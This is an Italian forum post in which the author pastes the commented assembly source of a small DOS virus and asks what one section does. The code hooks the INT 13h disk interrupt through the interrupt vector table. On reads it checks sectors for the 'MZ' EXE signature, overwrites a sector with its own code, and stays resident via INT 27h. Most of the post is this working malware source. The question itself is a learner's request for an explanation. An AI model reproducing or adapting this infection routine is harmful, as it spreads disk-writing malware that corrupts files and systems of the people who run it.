Ciao ragazzi, ho trovato il codice di un piccolo virus che va a cambiare la IVT per andare a modificare l'indirizzo del INT13 per l'accesso ai dishi.
OK, la parte del codice in INITIAL mi e' chiara, ma purtropo non riesco a comprendere la parete inserita tra le due righe di asterischi.
codice:
ASSUME CS: CodeSegment
CodeSegment SEGMENT PARA
ORG 100H
START:
MAIN PROC NEAR
HEAD: JMP INITIAL
SAVE_INT13:
DD 0 ;inizializzazioni di saved_int13
INT13_SOST: ;INT13H INTERRUPT DI LETTURA E SCRITTURA SU HD
PUSH AX ;AX:OPERAZIONE DA FARE E NUMERO DI SETTORI COINVOLTI
PUSH BX ;BX:OFFSET BUFFER DEL PROGRAMMA
PUSH ES ;ES:SEGMENT DEL BUFFER
CMP AH,02 ;CONTROLLA SE HE LETTURA 02 LETTURA 03 SCRITTURA
JNE no_read
;*********************************************************************************************************************
PUSHF ; salva il registro di FLAG
CALL dword ptr CS:[save_int13] ;chiama il programma vero puntato da CS
;chiama una DW
;in ES viene salvato il segmento del buffer
;in BX l'offset del buffer
CMP word ptr ES:[BX],5A4DH ;controlla che nel valore del buffer ES puntato all offset BX
JNE no_EXE_file ;controlla che i primi 2 byte ZM = 5a4dH
MOV AX, 0301H ;in AH mette 03=scrittura e in AL mette 01=numero settori da
;scrivere (o leggere)
MOV BX, OFFSET HEAD ;
PUSH CS ;in ES mette il valore del nostro segmento CS
POP ES
;*********************************************************************************************************************
NO_READ:
PUSHF ;SALVA IL REGISTRO DI FLAG
CALL dword ptr CS: [save_int13] ;PASSA ALL'EFFETTIVO INDIRIZZO DELL INT13
no_exe_file: ;non effettua alcuna operazione
POP ES
POP BX
POP AX
IRET
INITIAL:
XOR DX, DX ;AZZERA DX pongo praticamente il valore a 0
MOV DS,DX ;l'assegnazione non puo' essere diretta
MOV AX,DS:[13H*4] ;salva in ax l'indirizzo VERO di INT13H
MOV word ptr CS:[save_int13],AX ;
MOV AX, DS:[13H*4+2] ;
MOV word ptr CS:[save_int13+2],AX ;salvo in CS il segment dell'INT13h
CLI ;tra CLI e STI non possono essere chimati altri INTERRUPT
MOV AX,OFFSET INT13_SOST ;in AX salvo l'offset che ha il label int13_sost
MOV word ptr DS:[13H*4],AX ;salvo l'offest in DS che e' riamsto a 0000H
PUSH CS ;metto in AX il valore di CS
POP AX
MOV word ptr DS:[13H*4+2],AX ;copia il valore del segment del mio CS
STI
MOV DX, OFFSET salto_END+1 ;VIENE PASSATA LA FINE DEL PROGRAMMA CHE DEVE RESTARE IN ROM
INT 27H ;SALVARE LE MORIFICHE IN RAM
salto_END:
MAIN ENDP
CodeSegment ENDS
END START
sapreste cortesemente aiutarmi e indicarmi cosa questo programmino facci ain quelle 10 righe? In particola re nelle ultime 3....
vi ringrazio per l'interessamento e l'aiuto